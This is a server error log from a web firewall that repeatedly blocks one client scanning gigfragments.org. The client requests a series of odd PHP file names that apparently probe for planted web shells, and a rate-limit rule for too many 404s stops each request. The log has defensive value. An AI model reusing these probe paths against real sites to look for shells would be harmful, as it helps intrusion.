[Sat Feb 28 11:20:16.059282 2026] [:error] [pid 22194:tid 22211] [client 20.151.113.230:18426] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aaJe8H6mbajs3bzQGyshxgAAAU8"]
[Sat Feb 28 11:20:16.475641 2026] [:error] [pid 11791:tid 11799] [client 20.151.113.230:18403] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xex.php"] [unique_id "aaJe8GuX5e1Q32gqxH3jUAAAAQY"]
[Sat Feb 28 11:20:16.903737 2026] [:error] [pid 11791:tid 11798] [client 20.151.113.230:18324] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aaJe8GuX5e1Q32gqxH3jUgAAAQU"]
[Sat Feb 28 11:20:17.322705 2026] [:error] [pid 11791:tid 11796] [client 20.151.113.230:18322] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aaJe8WuX5e1Q32gqxH3jWAAAAQM"]
[Sat Feb 28 11:20:17.735522 2026] [:error] [pid 52460:tid 52474] [client 20.151.113.230:18411] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aaJe8bLWOogAgHGh62TI5QAAAYs"]
[Sat Feb 28 11:20:18.149037 2026] [:error] [pid 39183:tid 39195] [client 20.151.113.230:18396] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/n3.php"] [unique_id "aaJe8hCf4HvhVePw3LbWpQAAAAM"]
[Sat Feb 28 11:20:18.574523 2026] [:error] [pid 52460:tid 52479] [client 20.151.113.230:18308] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/key.php"] [unique_id "aaJe8rLWOogAgHGh62TI6wAAAZA"]
[Sat Feb 28 11:20:18.989740 2026] [:error] [pid 39184:tid 39243] [client 20.151.113.230:18380] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/key.php"] [unique_id "aaJe8ltZF9Zd_U7easDDlAAAAFg"]
[Sat Feb 28 11:20:19.406212 2026] [:error] [pid 39292:tid 39316] [client 20.151.113.230:18268] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/key.php"] [unique_id "aaJe86IAO5fN7BxyqcGsuwAAANY"]
[Sat Feb 28 11:20:19.830453 2026] [:error] [pid 11791:tid 11812] [client 20.151.113.230:18431] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/key.php"] [unique_id "aaJe82uX5e1Q32gqxH3jXQAAARM"]
[Sat Feb 28 11:20:20.247963 2026] [:error] [pid 11791:tid 11799] [client 20.151.113.230:18419] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/667.php"] [unique_id "aaJe9GuX5e1Q32gqxH3jYgAAAQY"]
[Sat Feb 28 11:20:20.667313 2026] [:error] [pid 11791:tid 11807] [client 20.151.113.230:18389] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/667.php"] [unique_id "aaJe9GuX5e1Q32gqxH3jZAAAAQ4"]
[Sat Feb 28 11:20:21.090516 2026] [:error] [pid 39184:tid 39220] [client 20.151.113.230:18381] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/667.php"] [unique_id "aaJe9VtZF9Zd_U7easDDlgAAAEE"]
[Sat Feb 28 11:20:21.509208 2026] [:error] [pid 39184:tid 39238] [client 20.151.113.230:18345] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/667.php"] [unique_id "aaJe9VtZF9Zd_U7easDDlwAAAFM"]
[Sat Feb 28 11:20:21.923515 2026] [:error] [pid 52460:tid 52464] [client 20.151.113.230:18379] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctfbe.php"] [unique_id "aaJe9bLWOogAgHGh62TI8AAAAYE"]
[Sat Feb 28 11:20:22.347878 2026] [:error] [pid 39185:tid 39265] [client 20.151.113.230:18418] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctfbe.php"] [unique_id "aaJe9hVE-FfM89u7BQZuAQAAAJM"]
[Sat Feb 28 11:20:22.767134 2026] [:error] [pid 52460:tid 52474] [client 20.151.113.230:18410] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctfbe.php"] [unique_id "aaJe9rLWOogAgHGh62TI9gAAAYs"]
[Sat Feb 28 11:20:23.175914 2026] [:error] [pid 39185:tid 39263] [client 20.151.113.230:18408] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctfbe.php"] [unique_id "aaJe9xVE-FfM89u7BQZuBAAAAJE"]
[Sat Feb 28 11:20:23.594123 2026] [:error] [pid 11791:tid 11800] [client 20.151.113.230:18342] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hkweu.php"] [unique_id "aaJe92uX5e1Q32gqxH3jbQAAAQc"]
[Sat Feb 28 11:20:24.024368 2026] [:error] [pid 39185:tid 39247] [client 20.151.113.230:18424] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hkweu.php"] [unique_id "aaJe-BVE-FfM89u7BQZuCQAAAIE"]
[Sat Feb 28 11:20:24.445048 2026] [:error] [pid 52460:tid 52470] [client 20.151.113.230:18340] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hkweu.php"] [unique_id "aaJe-LLWOogAgHGh62TI-QAAAYc"]
[Sat Feb 28 11:20:24.864617 2026] [:error] [pid 39185:tid 39258] [client 20.151.113.230:18369] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hkweu.php"] [unique_id "aaJe-BVE-FfM89u7BQZuEAAAAIw"]
[Sat Feb 28 11:20:25.286797 2026] [:error] [pid 39183:tid 39192] [client 20.151.113.230:18390] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qdlte.php"] [unique_id "aaJe-RCf4HvhVePw3LbWqAAAAAA"]
[Sat Feb 28 11:20:25.704203 2026] [:error] [pid 52460:tid 52463] [client 20.151.113.230:18370] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qdlte.php"] [unique_id "aaJe-bLWOogAgHGh62TI_gAAAYA"]
[Sat Feb 28 11:20:26.129248 2026] [:error] [pid 22194:tid 22214] [client 20.151.113.230:18330] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qdlte.php"] [unique_id "aaJe-n6mbajs3bzQGyshygAAAVI"]
[Sat Feb 28 11:20:26.542406 2026] [:error] [pid 39292:tid 39295] [client 20.151.113.230:18386] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qdlte.php"] [unique_id "aaJe-qIAO5fN7BxyqcGswgAAAME"]
[Sat Feb 28 11:20:26.963301 2026] [:error] [pid 52460:tid 52468] [client 20.151.113.230:18423] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f7.php"] [unique_id "aaJe-rLWOogAgHGh62TJAgAAAYU"]
[Sat Feb 28 11:20:27.378712 2026] [:error] [pid 52460:tid 52472] [client 20.151.113.230:18395] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f7.php"] [unique_id "aaJe-7LWOogAgHGh62TJBwAAAYk"]
[Sat Feb 28 11:20:27.793901 2026] [:error] [pid 11791:tid 11806] [client 20.151.113.230:18337] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f7.php"] [unique_id "aaJe-2uX5e1Q32gqxH3jdQAAAQ0"]
[Sat Feb 28 11:20:28.204204 2026] [:error] [pid 11791:tid 11793] [client 20.151.113.230:18413] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f7.php"] [unique_id "aaJe_GuX5e1Q32gqxH3jdwAAAQA"]
[Sat Feb 28 11:20:28.617103 2026] [:error] [pid 52460:tid 52465] [client 20.151.113.230:18328] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "aaJe_LLWOogAgHGh62TJEAAAAYI"]
[Sat Feb 28 11:20:29.038191 2026] [:error] [pid 52460:tid 52468] [client 20.151.113.230:18316] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "aaJe_bLWOogAgHGh62TJEwAAAYU"]
[Sat Feb 28 11:20:29.462289 2026] [:error] [pid 39185:tid 39247] [client 20.151.113.230:18404] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "aaJe_RVE-FfM89u7BQZuGgAAAIE"]
[Sat Feb 28 11:20:29.883455 2026] [:error] [pid 39185:tid 39269] [client 20.151.113.230:18311] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/an7.php"] [unique_id "aaJe_RVE-FfM89u7BQZuHQAAAJc"]
[Sat Feb 28 11:20:30.293965 2026] [:error] [pid 39185:tid 39252] [client 20.151.113.230:18318] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp7.php"] [unique_id "aaJe_hVE-FfM89u7BQZuHgAAAIY"]
[Sat Feb 28 11:20:30.708855 2026] [:error] [pid 39185:tid 39260] [client 20.151.113.230:18256] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp7.php"] [unique_id "aaJe_hVE-FfM89u7BQZuIQAAAI4"]
[Sat Feb 28 11:20:31.119956 2026] [:error] [pid 11791:tid 11796] [client 20.151.113.230:18270] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp7.php"] [unique_id "aaJe_2uX5e1Q32gqxH3jegAAAQM"]
[Sat Feb 28 11:20:31.530651 2026] [:error] [pid 39184:tid 39241] [client 20.151.113.230:18376] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp7.php"] [unique_id "aaJe_1tZF9Zd_U7easDDngAAAFY"]
[Sat Feb 28 11:20:31.942153 2026] [:error] [pid 22194:tid 22210] [client 20.151.113.230:18327] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/C1.php"] [unique_id "aaJe_36mbajs3bzQGysh0QAAAU4"]
[Sat Feb 28 11:20:32.355306 2026] [:error] [pid 39183:tid 39212] [client 20.151.113.230:18346] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/C1.php"] [unique_id "aaJfABCf4HvhVePw3LbWsAAAABQ"]
[Sat Feb 28 11:20:32.771108 2026] [:error] [pid 52460:tid 52471] [client 20.151.113.230:18421] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/C1.php"] [unique_id "aaJfALLWOogAgHGh62TJKwAAAYg"]
[Sat Feb 28 11:20:33.190498 2026] [:error] [pid 52460:tid 52475] [client 20.151.113.230:18392] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/C1.php"] [unique_id "aaJfAbLWOogAgHGh62TJLQAAAYw"]
[Sat Feb 28 11:20:33.603663 2026] [:error] [pid 22194:tid 22220] [client 20.151.113.230:18405] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clcdu.php"] [unique_id "aaJfAX6mbajs3bzQGysh1AAAAVg"]
[Sat Feb 28 11:20:34.050286 2026] [:error] [pid 39185:tid 39267] [client 20.151.113.230:18307] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clcdu.php"] [unique_id "aaJfAhVE-FfM89u7BQZuKAAAAJU"]
[Sat Feb 28 11:20:34.462456 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:18262] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clcdu.php"] [unique_id "aaJfArLWOogAgHGh62TJMQAAAZI"]
[Sat Feb 28 11:20:34.879624 2026] [:error] [pid 52460:tid 52465] [client 20.151.113.230:18329] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/clcdu.php"] [unique_id "aaJfArLWOogAgHGh62TJNAAAAYI"]
[Sat Feb 28 11:20:35.295742 2026] [:error] [pid 52460:tid 52471] [client 20.151.113.230:18309] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffbsq.php"] [unique_id "aaJfA7LWOogAgHGh62TJOAAAAYg"]
[Sat Feb 28 11:20:35.718243 2026] [:error] [pid 11791:tid 11804] [client 20.151.113.230:18305] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffbsq.php"] [unique_id "aaJfA2uX5e1Q32gqxH3jfQAAAQs"]
[Sat Feb 28 11:20:36.130815 2026] [:error] [pid 39185:tid 39258] [client 20.151.113.230:18310] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffbsq.php"] [unique_id "aaJfBBVE-FfM89u7BQZuMgAAAIw"]
[Sat Feb 28 11:20:36.546961 2026] [:error] [pid 11791:tid 11816] [client 20.151.113.230:18361] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffbsq.php"] [unique_id "aaJfBGuX5e1Q32gqxH3jgwAAARc"]
[Sat Feb 28 11:20:36.964645 2026] [:error] [pid 11791:tid 11794] [client 20.151.113.230:18393] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aaJfBGuX5e1Q32gqxH3jhwAAAQE"]
[Sat Feb 28 11:20:37.403210 2026] [:error] [pid 52460:tid 52486] [client 20.151.113.230:18366] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aaJfBbLWOogAgHGh62TJQAAAAZc"]
[Sat Feb 28 11:20:37.823305 2026] [:error] [pid 11791:tid 11801] [client 20.151.113.230:18363] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aaJfBWuX5e1Q32gqxH3jiwAAAQg"]
[Sat Feb 28 11:20:38.259429 2026] [:error] [pid 11791:tid 11796] [client 20.151.113.230:18417] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "aaJfBmuX5e1Q32gqxH3jjQAAAQM"]
[Sat Feb 28 11:20:38.670485 2026] [:error] [pid 52460:tid 52473] [client 20.151.113.230:18243] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJfBrLWOogAgHGh62TJRAAAAYo"]
[Sat Feb 28 11:20:39.100166 2026] [:error] [pid 52460:tid 52481] [client 20.151.113.230:18406] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJfB7LWOogAgHGh62TJSAAAAZI"]
[Sat Feb 28 11:20:39.515646 2026] [:error] [pid 52460:tid 52482] [client 20.151.113.230:18331] [client 20.151.113.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/8.php"] [unique_id "aaJfB7LWOogAgHGh62TJTwAAAZM"]
